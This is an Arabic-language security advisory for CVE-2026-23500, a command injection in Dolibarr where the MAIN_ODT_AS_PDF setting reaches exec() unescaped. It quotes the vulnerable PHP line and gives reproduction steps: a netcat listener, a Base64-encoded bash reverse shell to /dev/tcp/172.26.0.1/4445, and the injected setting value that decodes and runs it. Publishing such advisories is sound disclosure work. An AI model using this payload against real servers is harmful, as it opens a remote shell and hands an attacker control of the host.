
CVE-2026-23500 - حقن أوامر نظام التشغيل (RCE) عبر إعداد MAIN_ODT_AS_PDF في Dolibarr
| الحقل | التفاصيل |
|---|
| معرف CVE | CVE-2026-23500 |
| الخطورة | حرجة |
| التنبيه الأمني | GHSA-w5j3-8fcr-h87w |
| اكتشفه | Lukasz Rybak |
يمكن للمسؤول المُصادَق عليه تنفيذ أوامر عشوائية لنظام التشغيل عن طريق حقن حمولة خبيثة في ثابت الإعداد MAIN_ODT_AS_PDF. توجد هذه الثغرة لأن التطبيق يفشل في التحقق من مسار الأمر أو تهريبه بشكل صحيح قبل تمريره إلى دالة exec() في عملية تحويل ODT إلى PDF.
تقع الثغرة في htdocs/includes/odtphp/odf.php.
عندما يحاول النظام تحويل مستند ODT إلى PDF (مثلًا في العروض التجارية والفواتير)، يقوم بإنشاء أمر شل باستخدام الإعداد العام MAIN_ODT_AS_PDF.
مقتطف الكود (htdocs/includes/odtphp/odf.php، حوالي السطر 930):
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);
بينما يتم تعقيم اسم الملف $name باستخدام escapeshellcmd()، فإن متغير الإعداد MAIN_ODT_AS_PDF يُجلب مباشرةً من قاعدة البيانات ويُدمج في بداية السلسلة النصية. يمكن للمهاجم الذي يمتلك صلاحيات إدارية ضبط هذا المتغير ليتضمن فاصل أوامر (مثل ;) متبوعًا بأوامر عشوائية.
المتطلبات الأساسية:
خطوات إعادة الإنتاج (شل عكسي):
172.26.0.1، المنفذ: 4445):nc -lvnp 4445
جهّز الحمولة. لتجنب المشكلات الناتجة عن تهرّب الأحرف الخاصة (مثل & أو >) بواسطة تطبيق الويب أو الشل، قم بترميز أمر الشل العكسي باستخدام Base64:
# Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
# Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
انتقل إلى الرئيسية -> الإعداد -> الإعدادات الأخرى.
أضف أو عدّل الثابت MAIN_ODT_AS_PDF باستخدام حمولة الحقن التالية:
jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
(الشرح: jodconverter يلبي الفحص الأولي، و; يعمل كفاصل بين الأوامر، ويقوم الأنبوب بفك ترميز حمولة Base64 وتنفيذها).
انتقل إلى التجارة -> عرض جديد، وأنشئ مسودة، وحدد قالب ODT (مثل generic_proposal_odt)، ثم انقر على توليد.



تنفيذ كود عن بُعد (RCE).
يمكن للمهاجم الذي يحصل على إمكانية الوصول إلى حساب مسؤول (أو مسؤول خبيث) تنفيذ أوامر عشوائية على الخادم الأساسي بصلاحيات مستخدم خادم الويب (عادةً www-data). وهذا يسمح بـ:
أُبلغ بواسطة Łukasz Rybak
تم الإفصاح عن هذا CVE بمسؤولية وفقًا لممارسات الإفصاح المنسق عن الثغرات الأمنية. المعلومات الواردة هنا لأغراض تعليمية ودفاعية فقط.